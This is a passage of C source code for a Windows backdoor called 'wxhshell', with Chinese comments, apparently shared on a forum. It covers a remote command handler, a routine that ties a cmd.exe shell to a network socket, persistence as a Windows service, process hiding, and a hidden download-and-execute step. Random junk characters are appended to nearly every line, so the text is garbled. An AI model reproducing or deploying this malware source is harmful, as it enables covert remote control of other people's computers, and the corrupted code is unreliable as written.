  else { <_uLf9j a  
dI5Z*"`R9  
    switch(cmd[0]) { @R9zLL6#7  
  ^HLi1w|  
  // 帮助 Z6!MX_ep  
  case '?': { zKe&*tZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }C/u>89%q  
    break; C#emmg!a\  
  } f*Xonb  
  // 安装 i?z3!`m  
  case 'i': { Kw3fpNd  
    if(Install()) @SDsd^N{2P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ElZ'/l*\  
    else /v: g' #n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DOaEz?2)  
    break; Vs]+MAL  
    } $/}*HWVZ  
  // 卸载 lzBy;i  
  case 'r': { jx!)N>  
    if(Uninstall()) lInq=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ro6|N?'  
    else |0U"#xkf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *SzP7]1m  
    break; AEX]_1TG  
    } #57nm]?  
  // 显示 wxhshell 所在路径 oylY1~~}0K  
  case 'p': { U;D!m+.HK  
    char svExeFile[MAX_PATH]; [Oxmg?W  
    strcpy(svExeFile,"\n\r"); 2" ~!Pu^.j  
      strcat(svExeFile,ExeFile); <P3r+ 1|R  
        send(wsh,svExeFile,strlen(svExeFile),0); HLg/=VF7?  
    break; 1Z'cL~9  
    } `FH Hh  
  // 重启 FviLlly6  
  case 'b': { -TU7GCb=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }IC$Du#  
    if(Boot(REBOOT)) r[vMiVb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X, <&#l  
    else { W=j/2c/  
    closesocket(wsh); @X>k@M  
    ExitThread(0); ^b~&}uU  
    } ;o,t *  
    break; @b=tjQO_  
    } c ^G\w+_  
  // 关机 (?J6vK}S  
  case 'd': { Cc0`Ylx~(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <&n3"  
    if(Boot(SHUTDOWN)) U u(ysN4`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K$\az%NE  
    else { jj0@ez{3  
    closesocket(wsh); ;9q3FuR  
    ExitThread(0); YPDc /  
    } ?1xBhKq  
    break; 6TbDno/!'  
    } F@kOj*5,[  
  // 获取shell U# ueG  
  case 's': { d@b0z$<s  
    CmdShell(wsh); tE]g*]o  
    closesocket(wsh); ,ZJI]Q=!  
    ExitThread(0); Z@nM\/vLA  
    break; )F0 _V 4  
  } 'X_iiR8n@p  
  // 退出 i/Q*AG>b  
  case 'x': { DdJxb{y7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z_*]joL  
    CloseIt(wsh); ?;0=>3p*0  
    break; g:q+.6va"  
    } n>Y3hY  
  // 离开 |b;}' *  
  case 'q': { Q nDymVF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q =b.!AZy  
    closesocket(wsh); !aeL*`;  
    WSACleanup(); ;wbQTp2  
    exit(1); ibl^A=  
    break; - DlKFN  
        } oB-&ma[ZS  
  } %;!@\5$  
  } xp7,0'(;  
[zm&}$nnN  
  // 提示信息 %/oOM\} ++  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t^Aios~F  
} /R''R:j  
  }  / >Wh  
N;F1Z-9  
  return; -3qB,KT  
} +%>s\W+?]  
PkLRQ}  
// shell模块句柄  &{7n  
int CmdShell(SOCKET sock) ::dLOf8o  
{ P~#!-9?  
STARTUPINFO si; =3{h9  
ZeroMemory(&si,sizeof(si)); :t(gD8;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Uey.@2Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UY5ia4_D  
PROCESS_INFORMATION ProcessInfo; @@*->  
char cmdline[]="cmd"; 4adCMfP7.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *wwLhweQ5W  
  return 0; 9HLn_|yU  
} V8NJ0fF  
76c4~IG#  
// 自身启动模式 [p$b@og/>  
int StartFromService(void) ,vrdtL  
{ H'<9;bD -  
typedef struct 3rZFN^  
{ Nn ?BD4i  
  DWORD ExitStatus; o2 W pi  
  DWORD PebBaseAddress; +IuV8XT2(  
  DWORD AffinityMask; en=Z[ZIPO  
  DWORD BasePriority; (iP,F]  
  ULONG UniqueProcessId; fm;1Iu#  
  ULONG InheritedFromUniqueProcessId; (u]ft]z,-B  
}   PROCESS_BASIC_INFORMATION; * <x]gV  
)"m FlS<I  
PROCNTQSIP NtQueryInformationProcess; enF.}fo]  
C@buewk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hEl)BRJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?fXg_?+{'g  
.!U `,)I  
  HANDLE             hProcess; $sU?VA'h  
  PROCESS_BASIC_INFORMATION pbi; =P'=P0G  
gET& +M   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !__f  
  if(NULL == hInst ) return 0; Umv_{n`  
3HO 4 h\mp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S5" xb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u4IgPCTZ+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +=$\7z>s  
56G5JSB=\  
  if (!NtQueryInformationProcess) return 0; %;yo\  
1|;WaO1Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jn^i4f>N  
  if(!hProcess) return 0; Q&MZ/Nnf  
6aM`qz)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8hQ"rrj+  
#Q^mdv?  
  CloseHandle(hProcess); D?}LKs[  
;p BXAl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XC?H  
if(hProcess==NULL) return 0; h"l{cDk  
J%aW^+O  
HMODULE hMod; '&?47+W  
char procName[255]; E-X-LR{CC  
unsigned long cbNeeded; b[uTt'p}  
Z B`!@/3X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Kw(/#C:$  
}C/}8<  
  CloseHandle(hProcess); plsf` a  
l2 gI2Cioa  
if(strstr(procName,"services")) return 1; // 以服务启动 L^RyJ;^c  
`*KS` z?  
  return 0; // 注册表启动 IB}.J,=  
} iFF/[P  
~SV;"e2N.  
// 主模块 6:v8J1G(<  
int StartWxhshell(LPSTR lpCmdLine) i/C#fIB2  
{ O~">-'f  
  SOCKET wsl; bTA<AoW9="  
BOOL val=TRUE; aMm`G}9n  
  int port=0; 2YuaPq/  
  struct sockaddr_in door; OMJr.u  
] X%bU*4  
  if(wscfg.ws_autoins) Install(); )09_CC!a  
cn<9!2a  
port=atoi(lpCmdLine); q<oA%yR  
XwX1i!'54  
if(port<=0) port=wscfg.ws_port; +ywWQ|V  
]K XknEaxl  
  WSADATA data; 0 v/+%%4}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JR 2v}b  
x[WT)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OTN"XKa$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U=Z@Ipu5T  
  door.sin_family = AF_INET; %04>R'mN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y +HVn0~qz  
  door.sin_port = htons(port); `"GD'Oa  
(cC5zv*E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fN0D\Mu!)b  
closesocket(wsl); w V;y]'  
return 1; #xYkG5`lm  
} ],H%u2GE_  
J#Bz )WmR  
  if(listen(wsl,2) == INVALID_SOCKET) { GZI[qKDfB  
closesocket(wsl); YlPZa3\  
return 1; {:4); .  
} fkRb;aIl  
  Wxhshell(wsl); <u4GIi <sm  
  WSACleanup(); &bBp`h  
h=`rZC  
return 0; lba*&j]w=  
j|lg&kN  
} eC[g"Ef  
*$`r)pV%AK  
// 以NT服务方式启动 168U-<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F b`V.  
{ oJ6 d:  
DWORD   status = 0; u:g(x+u4:  
  DWORD   specificError = 0xfffffff; "Hg n2o.;5  
"q#(}1Zd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y,Dfqt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N#T MU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~+CNED0z+  
  serviceStatus.dwWin32ExitCode     = 0; `+"QhQ4 w  
  serviceStatus.dwServiceSpecificExitCode = 0; KO{}+~,.6  
  serviceStatus.dwCheckPoint       = 0; Kz$Ijj  
  serviceStatus.dwWaitHint       = 0; +Tq _n@  
ip1jY!   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bpUN8BI[T  
  if (hServiceStatusHandle==0) return; ;pAkdX&b  
^$?8!WE  
status = GetLastError(); _QXo4z!a8  
  if (status!=NO_ERROR) QXXcJc~  
{ pKr3(5~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JXPn <  
    serviceStatus.dwCheckPoint       = 0; @ o;m!CYB  
    serviceStatus.dwWaitHint       = 0; >x!N@G  
    serviceStatus.dwWin32ExitCode     = status; (&njZdcb*  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;GH(A=}/Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6|_ S|N  
    return; V#3VRh  
  } ;`F0 %0d  
!Z4,UTu|Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?$ YE  
  serviceStatus.dwCheckPoint       = 0; qIb(uF@l"  
  serviceStatus.dwWaitHint       = 0; laFkOQI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M~"]h:m&'v  
} Ty@&s 58a  
:Bn\1\  
// 处理NT服务事件,比如:启动、停止 D+ jk0*bJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?hfos Bn&[  
{ T}u'  
switch(fdwControl) 1$Eiv8xd  
{ l#Qf8*0  
case SERVICE_CONTROL_STOP: . `hlw'20  
  serviceStatus.dwWin32ExitCode = 0; c-M&cU+=L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U(J?Q  
  serviceStatus.dwCheckPoint   = 0; y{v*iH<  
  serviceStatus.dwWaitHint     = 0; =#y&xWxL  
  { 4SG[_:+!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 72v 9S T  
  } !knYD}Rxd  
  return; %>JqwMK  
case SERVICE_CONTROL_PAUSE: v- {kPc=:#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `P# h?tZ  
  break; ]0`[L<_r  
case SERVICE_CONTROL_CONTINUE: OW #pBeX99  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '}!dRpx  
  break; F." L{g  
case SERVICE_CONTROL_INTERROGATE: $&a`zffG  
  break; @|d|orMC  
}; d]@9kG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #p_ ~L4iW  
} >!a*wf~]  
K0+J!- a]7  
// 标准应用程序主函数 8eLNKgc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $}HSU>,%  
{ sq<y2j1oF  
}* BY!5  
// 获取操作系统版本 ;{Ovqo|  
OsIsNt=GetOsVer(); BF]b\/I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DtZkrj)D/  
pD &\Z~5T  
  // 从命令行安装 Ue l*:c  
  if(strpbrk(lpCmdLine,"iI")) Install(); W6\s@)b;  
aEL6-['(  
  // 下载执行文件 Ex<-<tY  
if(wscfg.ws_downexe) { kB  :")$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fE^rTUtn  
  WinExec(wscfg.ws_filenam,SW_HIDE); ){wE)NN  
} IHB{US1G  
?;i6eg17<  
if(!OsIsNt) { RS$:]hxd>_  
// 如果时win9x,隐藏进程并且设置为注册表启动 hVR=g!e#X  
HideProc(); Ad`; O+/;  
StartWxhshell(lpCmdLine); w>m/c1  
} 4~1_%wb  
else T?% F  
  if(StartFromService()) _{ ?1+  
  // 以服务方式启动 7H./o Vl  
  StartServiceCtrlDispatcher(DispatchTable); hd^?svID  
else xkqt(ng(  
  // 普通方式启动 Z7%>O:@z  
  StartWxhshell(lpCmdLine); `aSz"4Wd  
Ag?@fuk$J  
return 0; y~W6DL}  
}
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只看该作者 1 发表于: 2006-10-10
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